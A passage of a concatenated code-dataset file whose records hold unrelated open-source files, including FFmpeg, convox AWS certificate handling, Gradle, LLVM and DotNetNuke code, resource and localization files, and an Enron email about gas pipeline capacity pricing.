return 0;\n}\n\nAVOutputFormat ff_rtsp_muxer = {\n .name = \"rtsp\",\n .long_name = NULL_IF_CONFIG_SMALL(\"RTSP output\"),\n .priv_data_size = sizeof(RTSPState),\n .audio_codec = AV_CODEC_ID_AAC,\n .video_codec = AV_CODEC_ID_MPEG4,\n .write_header = rtsp_write_header,\n .write_packet = rtsp_write_packet,\n .write_trailer = rtsp_write_close,\n .flags = AVFMT_NOFILE | AVFMT_GLOBALHEADER,\n .priv_class = &rtsp_muxer_class,\n};\n"} +{"text": "package aws\n\nimport (\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/aws/aws-sdk-go/aws\"\n\t\"github.com/aws/aws-sdk-go/service/acm\"\n\t\"github.com/aws/aws-sdk-go/service/iam\"\n\t\"github.com/convox/rack/pkg/structs\"\n)\n\nfunc (p *Provider) CertificateApply(app, service string, port int, id string) error {\n\tfmt.Printf(\"app = %+v\\n\", app)\n\tfmt.Printf(\"service = %+v\\n\", service)\n\tfmt.Printf(\"port = %+v\\n\", port)\n\tfmt.Printf(\"id = %+v\\n\", id)\n\n\ta, err := p.AppGet(app)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch a.Tags[\"Generation\"] {\n\tcase \"\", \"1\":\n\t\treturn p.certificateApplyGeneration1(a, service, port, id)\n\tcase \"2\":\n\tdefault:\n\t\treturn fmt.Errorf(\"unknown generation for app: %s\", app)\n\t}\n\n\treturn fmt.Errorf(\"generation 2 apps use the domain: attribute on services in convox.yml\")\n}\n\nfunc (p *Provider) certificateApplyGeneration1(a *structs.App, service string, port int, id string) error {\n\tparams := map[string]string{}\n\n\tcs, err := p.CertificateList()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, c := range cs {\n\t\tif c.Id == id {\n\t\t\tparam := fmt.Sprintf(\"%sPort%dListener\", upperName(service), port)\n\t\t\tfp := strings.Split(a.Parameters[param], \",\")\n\t\t\tparams[param] = fmt.Sprintf(\"%s,%s\", fp[0], c.Arn)\n\t\t}\n\t}\n\n\treturn p.updateStack(p.rackStack(a.Name), nil, params, map[string]string{}, \"\")\n}\n\nfunc (p *Provider) CertificateCreate(pub, key string, opts structs.CertificateCreateOptions) (*structs.Certificate, error) {\n\treq := &acm.ImportCertificateInput{\n\t\tCertificate: []byte(pub),\n\t\tPrivateKey: []byte(key),\n\t}\n\n\tif opts.Chain != nil {\n\t\treq.CertificateChain = []byte(*opts.Chain)\n\t}\n\n\tres, err := p.acm().ImportCertificate(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc, err := p.certificateGetACM(*res.CertificateArn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c, nil\n}\n\nfunc (p *Provider) CertificateDelete(id string) error {\n\tif strings.HasPrefix(id, \"acm\") {\n\t\tss := strings.Split(id, \"-\")\n\t\tif len(ss) < 2 {\n\t\t\treturn fmt.Errorf(\"invalid certificate id\")\n\t\t}\n\t\tid = ss[1]\n\n\t\tcerts, err := p.certificateListACM()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor _, c := range certs {\n\t\t\tif strings.HasSuffix(*c.CertificateArn, id) {\n\t\t\t\t_, err = p.acm().DeleteCertificate(&acm.DeleteCertificateInput{\n\t\t\t\t\tCertificateArn: c.CertificateArn,\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\treturn fmt.Errorf(\"certificate not found\")\n\t}\n\n\t_, err := p.iam().DeleteServerCertificate(&iam.DeleteServerCertificateInput{\n\t\tServerCertificateName: aws.String(id),\n\t})\n\n\treturn err\n}\n\nfunc (p *Provider) CertificateGenerate(domains []string) (*structs.Certificate, error) {\n\tif len(domains) < 1 {\n\t\treturn nil, fmt.Errorf(\"must specify at least one domain\")\n\t}\n\n\talts := []*string{}\n\n\tfor _, domain := range domains[1:] {\n\t\talts = append(alts, aws.String(domain))\n\t}\n\n\treq := &acm.RequestCertificateInput{\n\t\tDomainName: aws.String(domains[0]),\n\t}\n\n\tif len(alts) > 0 {\n\t\treq.SubjectAlternativeNames = alts\n\t}\n\n\tres, err := p.acm().RequestCertificate(req)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparts := strings.Split(*res.CertificateArn, \"-\")\n\tid := fmt.Sprintf(\"acm-%s\", parts[len(parts)-1])\n\n\tcert := structs.Certificate{\n\t\tId: id,\n\t\tDomain: domains[0],\n\t}\n\n\treturn &cert, nil\n}\n\nfunc (p *Provider) CertificateList() (structs.Certificates, error) {\n\tcerts := structs.Certificates{}\n\n\treq := &iam.ListServerCertificatesInput{}\n\n\tfor {\n\t\tres, err := p.iam().ListServerCertificates(req)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, cert := range res.ServerCertificateMetadataList {\n\t\t\tvar res *iam.GetServerCertificateOutput\n\n\t\t\terr = retry(5, 2*time.Second, func() error {\n\t\t\t\tres, err = p.iam().GetServerCertificate(&iam.GetServerCertificateInput{\n\t\t\t\t\tServerCertificateName: cert.ServerCertificateName,\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tpem, _ := pem.Decode([]byte(*res.ServerCertificate.CertificateBody))\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tc, err := x509.ParseCertificate(pem.Bytes)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tcerts = append(certs, structs.Certificate{\n\t\t\t\tArn: *cert.Arn,\n\t\t\t\tId: *cert.ServerCertificateName,\n\t\t\t\tDomain: c.Subject.CommonName,\n\t\t\t\tExpiration: *cert.Expiration,\n\t\t\t})\n\t\t}\n\n\t\tif res.Marker == nil {\n\t\t\tbreak\n\t\t}\n\n\t\treq.Marker = res.Marker\n\t}\n\n\tares, err := p.certificateListACM()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, cert := range ares {\n\t\ttags := map[string]string{}\n\n\t\ttres, err := p.acm().ListTagsForCertificate(&acm.ListTagsForCertificateInput{\n\t\t\tCertificateArn: cert.CertificateArn,\n\t\t})\n\t\tif awsError(err) == \"ResourceNotFoundException\" {\n\t\t\tcontinue\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, t := range tres.Tags {\n\t\t\ttags[*t.Key] = *t.Value\n\t\t}\n\n\t\tif tags[\"System\"] == \"convox\" && tags[\"Type\"] == \"app\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tc, err := p.certificateGetACM(*cert.CertificateArn)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif c != nil {\n\t\t\tcerts = append(certs, *c)\n\t\t}\n\t}\n\n\treturn certs, nil\n}\n\ntype CfsslCertificateBundle struct {\n\tBundle string `json:\"bundle\"`\n}\n\ntype CfsslError struct {\n\tCode int `json:\"code\"`\n\tMessage string `json:\"message\"`\n}\n\nfunc (e CfsslError) Error() string {\n\treturn e.Message\n}\n\nfunc (p *Provider) certificateGetACM(arn string) (*structs.Certificate, error) {\n\tparts := strings.Split(arn, \"-\")\n\tid := fmt.Sprintf(\"acm-%s\", parts[len(parts)-1])\n\n\tc := &structs.Certificate{\n\t\tArn: arn,\n\t\tId: id,\n\t}\n\n\tvar res *acm.DescribeCertificateOutput\n\tvar err error\n\n\terr = retry(5, 2*time.Second, func() error {\n\t\tres, err = p.acm().DescribeCertificate(&acm.DescribeCertificateInput{\n\t\t\tCertificateArn: aws.String(arn),\n\t\t})\n\t\treturn err\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif *res.Certificate.Status != \"ISSUED\" {\n\t\treturn nil, nil\n\t}\n\n\tif res.Certificate.NotAfter != nil {\n\t\tc.Expiration = *res.Certificate.NotAfter\n\t}\n\n\tc.Domain = *res.Certificate.DomainName\n\tc.Domains = make([]string, len(res.Certificate.SubjectAlternativeNames))\n\n\tfor i, san := range res.Certificate.SubjectAlternativeNames {\n\t\tc.Domains[i] = *san\n\t}\n\n\treturn c, nil\n}\n\nfunc (p *Provider) certificateListACM() ([]*acm.CertificateSummary, error) {\n\tcerts := []*acm.CertificateSummary{}\n\n\treq := &acm.ListCertificatesInput{}\n\n\tfor {\n\t\tres, err := p.acm().ListCertificates(req)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcerts = append(certs, res.CertificateSummaryList...)\n\n\t\tif res.NextToken == nil {\n\t\t\tbreak\n\t\t}\n\n\t\treq.NextToken = res.NextToken\n\t}\n\n\treturn certs, nil\n}\n"} +{"text": "
\n <% if traceback.is_syntax_error %>\n <% if include_title %>\n

Syntax Error

\n <% endif %>\n
    \n <% for frame in traceback.frames %>\n
  • $frame.render()
  • \n <% endfor %>\n
\n
$escape(traceback.exception)
\n <% else %>\n <% if include_title %>\n

Traceback (most recent call last):

\n <% endif %>\n
    \n <% for frame in traceback.frames %>\n title=\"$escape(frame.info, True)\"<% endif %>>$frame.render()\n <% endfor %>\n
\n
$escape(traceback.exception)
\n <% endif %>\n
\n"} +{"text": "1\tukrainian\tx-vnd.Haiku-Sudoku\t3382377306\nRestore snapshot\tSudokuWindow\t\tВідновити знімок\nFile\tSudokuWindow\t\tФайл\nMark invalid values\tSudokuWindow\t\tПозначити недійсні значення\nSolve single field\tSudokuWindow\t\tВирішити одне поле\nHard\tSudokuWindow\t\tСкладний\nStart again\tSudokuWindow\t\tРозпочати знову\nNew\tSudokuWindow\t\tНовий\nEasy\tSudokuWindow\t\tПростий\nUndo\tSudokuWindow\t\tВідкат дії\nExport as…\tSudokuWindow\t\tЕкспортувати як…\nQuit\tSudokuWindow\t\tВийти\nRedo\tSudokuWindow\t\tПовторити\nCould not open \\\"%s\\\":\\n%s\\n\tSudokuWindow\t\tНеможливо відкрити \\\"%s\\\":\\n%s\\n\nBlank\tSudokuWindow\t\tБланк\nSudoku solved - congratulations!\\n\tSudokuWindow\t\tВітаємо - Судоку розв'язане!\\n\nText\tSudokuWindow\t\tТекст\nCopy\tSudokuWindow\t\tКопіювати\nSolve\tSudokuWindow\t\tРозв'язати\nHTML\tSudokuWindow\t\tHTML\nAdvanced\tSudokuWindow\t\tПідвищений\nSet all hints\tSudokuWindow\t\tВстановити всі підказки\nSearching for removable values\tSudokuGenerator\t\tПошук значень для вилучення\nAbort\tProgressWindow\t\tПерервати\nCould not set Sudoku:\\n%s\\n\tSudokuWindow\t\tНеможливо встановити Судоку: \\n%s\\n\nHelp\tSudokuWindow\t\tДовідка\nOK\tSudokuWindow\t\tОК\nSudoku\tSystem name\t\tSudoku\nProgress monitor\tProgressWindow\t\tМонітор ходу\nCreating solvable field\tSudokuGenerator\t\tСтворити поле для розв'язку\nView\tSudokuWindow\t\tВигляд\nSnapshot current\tSudokuWindow\t\tЗробити знімок\nMark valid hints\tSudokuWindow\t\tПозначити правильні підказки\nSudoku request\tSudokuWindow\t\tЗапит Судоку\nOpen file…\tSudokuWindow\t\tВідкрити файл…\n"} +{"text": "# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html\n\none:\n order_number: MyString\n\ntwo:\n order_number: MyString\n"} +{"text": "Subject: vince and vasant :\r\nhere is a brief summary of my meeting with chris germany , capacity trader at\r\nthe east desk , related to gas transmission :\r\ntypically , pipelines lease capacity billed on a monthly basis . an example\r\nmight be the pipeline between south texas and brooklyn , where you might pay\r\n$ 12 . 00 per month per 10 , 000 decatherms of capacity ( $ 0 . 40 per day ) , a fixed\r\npayment . variable charges are 6 % for fuel costs ( \" shrinkage \" ) and 6 . 5 % for\r\noverhead expenses . a gas trader might call south texas and be quoted a\r\ndelivery price tomorrow of nymex - $ 0 . 10 ( \" basis \" ) , and might call brooklyn\r\nand be quoted a delivered price of nymex + $ 0 . 25 . the trader ' s spread is\r\n$ 0 . 35 , and variable costs of transmission are $ 0 . 125 , so the trader would\r\noffer the leaseholder of capacity up to $ 0 . 225 for firm capacity tomorrow .\r\nas for the distinction betweem firm and interruptible , the leaseholders have\r\nan excellent knowledge of the firm - equivalent of interruptible capacity .\r\nalso , many pipelines don ' t discount firm capacity from the tariff maximum\r\n( \" it ' s not worth their time to haggle \" ) ( there is a further issue of\r\n\" secondary markets \" not important to the model yet ) . for south texas and\r\nbrooklyn , there are several different routes the gas can physically take\r\n( pipelines of enron , texas eastern , etc ) . and , once the trade is in the\r\nsystem traders can cover the ( enron ) positions on each end of the pipeline ,\r\nin so doing freeing up the capacity for other contracts .\r\nclayton"} +{"text": "ace.define(\"ace/snippets/slim\",[\"require\",\"exports\",\"module\"], function(require, exports, module) {\n \"use strict\";\n\n exports.snippetText =undefined;\n exports.scope = \"slim\";\n\n}); (function() {\n ace.require([\"ace/snippets/slim\"], function(m) {\n if (typeof module == \"object\" && typeof exports == \"object\" && module) {\n module.exports = m;\n }\n });\n })();\n "} +{"text": "/*\n * Copyright 2009 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.gradle.gradleplugin.userinterface.swing.generic;\n\nimport org.gradle.gradleplugin.foundation.settings.SettingsNode;\nimport org.gradle.gradleplugin.userinterface.AlternateUIInteraction;\nimport org.gradle.gradleplugin.userinterface.swing.common.PreferencesAssistant;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.event.HierarchyEvent;\nimport java.awt.event.HierarchyListener;\nimport java.beans.PropertyChangeEvent;\nimport java.beans.PropertyChangeListener;\n\n/**\n * A simple UI for gradle. This is a single panel that can be inserted into a stand-alone application or an IDE. This is meant to hide most of the complexities of gradle. 'single pane' means that both\n * the tabbed pane and the output pane are contained within a single pane that this maintains. Meaning, you add this to a UI and its a self-contained gradle UI. This is opposed to a multi-pane concept\n * where the output would be separated from the tabbed pane.\n */\npublic class SinglePaneUIInstance extends AbstractGradleUIInstance {\n private static final String SPLITTER_PREFERENCES_ID = \"splitter-id\";\n\n private JSplitPane splitter;\n private OutputPanelLord outputPanelLord;\n\n public SinglePaneUIInstance() {\n }\n\n public void initialize(SettingsNode settings, AlternateUIInteraction alternateUIInteraction) {\n\n outputPanelLord = new OutputPanelLord(gradlePluginLord, alternateUIInteraction);\n\n super.initialize(settings, alternateUIInteraction);\n }\n\n /**\n * We've overridden this to setup our splitter and our output window.\n */\n @Override\n protected void setupUI() {\n mainPanel = new JPanel(new BorderLayout());\n mainPanel.add(createCenterPanel(), BorderLayout.CENTER);\n }\n\n public OutputUILord getOutputUILord() {\n return outputPanelLord;\n }\n\n private Component createCenterPanel() {\n splitter = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n\n splitter.setTopComponent(createMainGradlePanel());\n splitter.setBottomComponent(outputPanelLord.getMainPanel());\n\n splitter.setContinuousLayout(true);\n\n //This little bit of tedium is so we can set our size based on window's size. This listens\n //for when the window is actually shown. It then adds a listen to store the location.\n splitter.addHierarchyListener(new HierarchyListener() {\n public void hierarchyChanged(HierarchyEvent e) {\n if (HierarchyEvent.SHOWING_CHANGED == (e.getChangeFlags() & HierarchyEvent.SHOWING_CHANGED)) {\n splitter.removeHierarchyListener(this); //we only want the first one of these, so remove ourselves as a listener.\n Window window = SwingUtilities.getWindowAncestor(splitter);\n if (window != null) {\n Dimension dimension = window.getSize();\n int halfHeight = dimension.height / 2; //we'll just make ourselves half the height of the window\n splitter.setDividerLocation(halfHeight);\n }\n PreferencesAssistant.restoreSettings(settings, splitter, SPLITTER_PREFERENCES_ID, SinglePaneUIInstance.class);\n\n //Now that we're visible, this is so we save the location when the splitter is moved.\n splitter.addPropertyChangeListener(new PropertyChangeListener() {\n public void propertyChange(PropertyChangeEvent evt) {\n if (JSplitPane.DIVIDER_LOCATION_PROPERTY.equals(evt.getPropertyName())) {\n PreferencesAssistant.saveSettings(settings, splitter, SPLITTER_PREFERENCES_ID, SinglePaneUIInstance.class);\n }\n }\n });\n }\n }\n });\n\n splitter.setResizeWeight(1); //this keeps the bottom the same size when resizing the window. Extra space is added/removed from the top.\n\n return splitter;\n }\n}\n"} +{"text": "using System;\nusing System.Collections.Generic;\nusing System.Data.Spatial;\nusing System.Linq;\nusing System.Web;\nusing System.Web.Mvc;\n\nnamespace NerdDinner\n{\n public class DbGeographyModelBinder : DefaultModelBinder\n {\n public override object BindModel(ControllerContext controllerContext, ModelBindingContext bindingContext)\n {\n var valueProviderResult = bindingContext.ValueProvider.GetValue(bindingContext.ModelName);\n if (valueProviderResult != null)\n {\n string[] latLongStr = valueProviderResult.AttemptedValue.Split(',');\n string point = string.Format(\"POINT ({0} {1})\", latLongStr[1], latLongStr[0]);\n //4326 format puts LONGITUDE first then LATITUDE\n DbGeography result = DbGeography.FromText(point, 4326);\n return result;\n }\n return null;\n }\n }\n\n public class EFModelBinderProvider : IModelBinderProvider\n {\n public IModelBinder GetBinder(Type modelType)\n {\n if (modelType == typeof(DbGeography))\n {\n return new DbGeographyModelBinder();\n }\n return null;\n }\n }\n}"} +{"text": "\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n text/microsoft-resx\r\n \r\n \r\n 2.0\r\n \r\n \r\n System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\r\n \r\n \r\n System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\r\n \r\n \r\n Bing Hybrid Map\r\n \r\n \r\n Google Map\r\n \r\n \r\n WMS\r\n \r\n \r\n Google Terrain\r\n \r\n \r\n Bing Aerial Map\r\n \r\n \r\n Bing Street Map\r\n \r\n \r\n Online Basemap\r\n \r\n \r\n None\r\n \r\n \r\n Opacity: \r\n \r\n \r\n Change opacity of the basemap layer.\r\n \r\n \r\n Online Basemap\r\n \r\n \r\n Change online basemap service.\r\n \r\n \r\n \r\n ..\\Resources\\nodata.bmp;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\r\n \r\n \r\n Esri Hydro Base Map\r\n \r\n \r\n Esri World Imagery\r\n \r\n \r\n Esri World Street Map\r\n \r\n \r\n Esri World Topo\r\n \r\n \r\n Open Street Map\r\n \r\n \r\n Unable to read capabilities: {0}\r\n \r\n \r\n Select server to view.\r\n \r\n \r\n Select layer to view.\r\n \r\n \r\n Error\r\n \r\n \r\n Select CRS to view.\r\n \r\n \r\n Unsupported CRS. Select another CRS.\r\n \r\n \r\n Fixed Height: \r\n \r\n \r\n Fixed Width: \r\n \r\n \r\n Cascaded: \r\n \r\n \r\n NoSubsets: \r\n \r\n \r\n Opaque: \r\n \r\n \r\n Queryable: \r\n \r\n"} +{"text": "<%@ Control Language=\"C#\" AutoEventWireup=\"false\" Inherits=\"DotNetNuke.UI.Skins.Controls.DnnJsExclude\" Codebehind=\"DnnJsExclude.ascx.cs\" %>\n<%@ Register TagPrefix=\"dnn\" Namespace=\"DotNetNuke.Web.Client.ClientResourceManagement\" Assembly=\"DotNetNuke.Web.Client\" %>\n\n"} +{"text": "//===- MustExecute.h - Is an instruction known to execute--------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n/// \\file\n/// Contains a collection of routines for determining if a given instruction is\n/// guaranteed to execute if a given point in control flow is reached. The most\n/// common example is an instruction within a loop being provably executed if we\n/// branch to the header of it's containing loop.\n///\n/// There are two interfaces available to determine if an instruction is\n/// executed once a given point in the control flow is reached:\n/// 1) A loop-centric one derived from LoopSafetyInfo.\n/// 2) A \"must be executed context\"-based one implemented in the\n/// MustBeExecutedContextExplorer.\n/// Please refer to the class comments for more information.\n///\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_ANALYSIS_MUSTEXECUTE_H\n#define LLVM_ANALYSIS_MUSTEXECUTE_H\n\n#include \"llvm/ADT/DenseMap.h\"\n#include \"llvm/Analysis/EHPersonalities.h\"\n#include \"llvm/Analysis/InstructionPrecedenceTracking.h\"\n#include \"llvm/Analysis/LoopInfo.h\"\n#include \"llvm/IR/BasicBlock.h\"\n#include \"llvm/IR/Dominators.h\"\n#include \"llvm/IR/Instruction.h\"\n\nnamespace llvm {\n\nclass Instruction;\nclass DominatorTree;\nclass Loop;\n\n/// Captures loop safety information.\n/// It keep information for loop blocks may throw exception or otherwise\n/// exit abnormaly on any iteration of the loop which might actually execute\n/// at runtime. The primary way to consume this infromation is via\n/// isGuaranteedToExecute below, but some callers bailout or fallback to\n/// alternate reasoning if a loop contains any implicit control flow.\n/// NOTE: LoopSafetyInfo contains cached information regarding loops and their\n/// particular blocks. This information is only dropped on invocation of\n/// computeLoopSafetyInfo. If the loop or any of its block is deleted, or if\n/// any thrower instructions have been added or removed from them, or if the\n/// control flow has changed, or in case of other meaningful modifications, the\n/// LoopSafetyInfo needs to be recomputed. If a meaningful modifications to the\n/// loop were made and the info wasn't recomputed properly, the behavior of all\n/// methods except for computeLoopSafetyInfo is undefined.\nclass LoopSafetyInfo {\n // Used to update funclet bundle operands.\n DenseMap BlockColors;\n\nprotected:\n /// Computes block colors.\n void computeBlockColors(const Loop *CurLoop);\n\npublic:\n /// Returns block colors map that is used to update funclet operand bundles.\n const DenseMap &getBlockColors() const;\n\n /// Copy colors of block \\p Old into the block \\p New.\n void copyColors(BasicBlock *New, BasicBlock *Old);\n\n /// Returns true iff the block \\p BB potentially may throw exception. It can\n /// be false-positive in cases when we want to avoid complex analysis.\n virtual bool blockMayThrow(const BasicBlock *BB) const = 0;\n\n /// Returns true iff any block of the loop for which this info is contains an\n /// instruction that may throw or otherwise exit abnormally.\n virtual bool anyBlockMayThrow() const = 0;\n\n /// Return true if we must reach the block \\p BB under assumption that the\n /// loop \\p CurLoop is entered.\n bool allLoopPathsLeadToBlock(const Loop *CurLoop, const BasicBlock *BB,\n const DominatorTree *DT) const;\n\n /// Computes safety information for a loop checks loop body & header for\n /// the possibility of may throw exception, it takes LoopSafetyInfo and loop\n /// as argument. Updates safety information in LoopSafetyInfo argument.\n /// Note: This is defined to clear and reinitialize an already initialized\n /// LoopSafetyInfo. Some callers rely on this fact.\n virtual void computeLoopSafetyInfo(const Loop *CurLoop) = 0;\n\n /// Returns true if the instruction in a loop is guaranteed to execute at\n /// least once (under the assumption that the loop is entered).\n virtual bool isGuaranteedToExecute(const Instruction &Inst,\n const DominatorTree *DT,\n const Loop *CurLoop) const = 0;\n\n LoopSafetyInfo() = default;\n\n virtual ~LoopSafetyInfo() = default;\n};\n\n\n/// Simple and conservative implementation of LoopSafetyInfo that can give\n/// false-positive answers to its queries in order to avoid complicated\n/// analysis.\nclass SimpleLoopSafetyInfo: public LoopSafetyInfo {\n bool MayThrow = false; // The current loop contains an instruction which\n // may throw.\n bool HeaderMayThrow = false; // Same as previous, but specific to loop header\n\npublic:\n virtual bool blockMayThrow(const BasicBlock *BB) const;\n\n virtual bool anyBlockMayThrow() const;\n\n virtual void computeLoopSafetyInfo(const Loop *CurLoop);\n\n virtual bool isGuaranteedToExecute(const Instruction &Inst,\n const DominatorTree *DT,\n const Loop *CurLoop) const;\n\n SimpleLoopSafetyInfo() : LoopSafetyInfo() {};\n\n virtual ~SimpleLoopSafetyInfo() {};\n};\n\n/// This implementation of LoopSafetyInfo use ImplicitControlFlowTracking to\n/// give precise answers on \"may throw\" queries. This implementation uses cache\n/// that should be invalidated by calling the methods insertInstructionTo and\n/// removeInstruction whenever we modify a basic block's contents by adding or\n/// removing instructions.\nclass ICFLoopSafetyInfo: public LoopSafetyInfo {\n bool MayThrow = false; // The current loop contains an instruction which\n // may throw.\n // Contains information about implicit control flow in this loop's blocks.\n mutable ImplicitControlFlowTracking ICF;\n // Contains information about instruction that may possibly write memory.\n mutable MemoryWriteTracking MW;\n\npublic:\n virtual bool blockMayThrow(const BasicBlock *BB) const;\n\n virtual bool anyBlockMayThrow() const;\n\n virtual void computeLoopSafetyInfo(const Loop *CurLoop);\n\n virtual bool isGuaranteedToExecute(const Instruction &Inst,\n const DominatorTree *DT,\n const Loop *CurLoop) const;\n\n /// Returns true if we could not execute a memory-modifying instruction before\n /// we enter \\p BB under assumption that \\p CurLoop is entered.\n bool doesNotWriteMemoryBefore(const BasicBlock *BB, const Loop *CurLoop)\n const;\n\n /// Returns true if we could not execute a memory-modifying instruction before\n /// we execute \\p I under assumption that \\p CurLoop is entered.\n bool doesNotWriteMemoryBefore(const Instruction &I, const Loop *CurLoop)\n const;\n\n /// Inform the safety info that we are planning to insert a new instruction\n /// \\p Inst into the basic block \\p BB. It will make all cache updates to keep\n /// it correct after this insertion.\n void insertInstructionTo(const Instruction *Inst, const BasicBlock *BB);\n\n /// Inform safety info that we are planning to remove the instruction \\p Inst\n /// from its block. It will make all cache updates to keep it correct after\n /// this removal.\n void removeInstruction(const Instruction *Inst);\n\n ICFLoopSafetyInfo(DominatorTree *DT) : LoopSafetyInfo(), ICF(DT), MW(DT) {};\n\n virtual ~ICFLoopSafetyInfo() {};\n};\n\nstruct MustBeExecutedContextExplorer;\n\n/// Must be executed iterators visit stretches of instructions that are\n/// guaranteed to be executed together, potentially with other instruction\n/// executed in-between.\n///\n/// Given the following code, and assuming all statements are single\n/// instructions which transfer execution to the successor (see\n/// isGuaranteedToTransferExecutionToSuccessor), there are two possible\n/// outcomes. If we start the iterator at A, B, or E, we will visit only A, B,\n/// and E. If we start at C or D, we will visit all instructions A-E.\n///\n/// \\code\n/// A;\n/// B;\n/// if (...) {\n/// C;\n/// D;\n/// }\n/// E;\n/// \\endcode\n///\n///\n/// Below is the example extneded with instructions F and G. Now we assume F\n/// might not transfer execution to it's successor G. As a result we get the\n/// following visit sets:\n///\n/// Start Instruction | Visit Set\n/// A | A, B, E, F\n/// B | A, B, E, F\n/// C | A, B, C, D, E, F\n/// D | A, B, C, D, E, F\n/// E | A, B, E, F\n/// F | A, B, E, F\n/// G | A, B, E, F, G\n///\n///\n/// \\code\n/// A;\n/// B;\n/// if (...) {\n/// C;\n/// D;\n/// }\n/// E;\n/// F; // Might not transfer execution to its successor G.\n/// G;\n/// \\endcode\n///\n///\n/// A more complex example involving conditionals, loops, break, and continue\n/// is shown below. We again assume all instructions will transmit control to\n/// the successor and we assume we can prove the inner loop to be finite. We\n/// omit non-trivial branch conditions as the exploration is oblivious to them.\n/// Constant branches are assumed to be unconditional in the CFG. The resulting\n/// visist sets are shown in the table below.\n///\n/// \\code\n/// A;\n/// while (true) {\n/// B;\n/// if (...)\n/// C;\n/// if (...)\n/// continue;\n/// D;\n/// if (...)\n/// break;\n/// do {\n/// if (...)\n/// continue;\n/// E;\n/// } while (...);\n/// F;\n/// }\n/// G;\n/// \\endcode\n///\n/// Start Instruction | Visit Set\n/// A | A, B\n/// B | A, B\n/// C | A, B, C\n/// D | A, B, D\n/// E | A, B, D, E, F\n/// F | A, B, D, F\n/// G | A, B, D, G\n///\n///\n/// Note that the examples show optimal visist sets but not necessarily the ones\n/// derived by the explorer depending on the available CFG analyses (see\n/// MustBeExecutedContextExplorer). Also note that we, depending on the options,\n/// the visit set can contain instructions from other functions.\nstruct MustBeExecutedIterator {\n /// Type declarations that make his class an input iterator.\n ///{\n typedef const Instruction *value_type;\n typedef std::ptrdiff_t difference_type;\n typedef const Instruction **pointer;\n typedef const Instruction *&reference;\n typedef std::input_iterator_tag iterator_category;\n ///}\n\n using ExplorerTy = MustBeExecutedContextExplorer;\n\n MustBeExecutedIterator(const MustBeExecutedIterator &Other)\n : Visited(Other.Visited), Explorer(Other.Explorer),\n CurInst(Other.CurInst) {}\n\n MustBeExecutedIterator(MustBeExecutedIterator &&Other)\n : Visited(std::move(Other.Visited)), Explorer(Other.Explorer),\n CurInst(Other.CurInst) {}\n\n MustBeExecutedIterator &operator=(MustBeExecutedIterator &&Other) {\n if (this != &Other) {\n std::swap(Visited, Other.Visited);\n std::swap(CurInst, Other.CurInst);\n }\n return *this;\n }\n\n ~MustBeExecutedIterator() {}\n\n /// Pre- and post-increment operators.\n ///{\n MustBeExecutedIterator &operator++() {\n CurInst = advance();\n return *this;\n }\n\n MustBeExecutedIterator operator++(int) {\n MustBeExecutedIterator tmp(*this);\n operator++();\n return tmp;\n }\n ///}\n\n /// Equality and inequality operators. Note that we ignore the history here.\n ///{\n bool operator==(const MustBeExecutedIterator &Other) const {\n return CurInst == Other.CurInst;\n }\n\n bool operator!=(const MustBeExecutedIterator &Other) const {\n return !(*this == Other);\n }\n ///}\n\n /// Return the underlying instruction.\n const Instruction *&operator*() { return CurInst; }\n const Instruction *getCurrentInst() const { return CurInst; }\n\n /// Return true if \\p I was encountered by this iterator already.\n bool count(const Instruction *I) const { return Visited.count(I); }\n\nprivate:\n using VisitedSetTy = DenseSet;\n\n /// Private constructors.\n 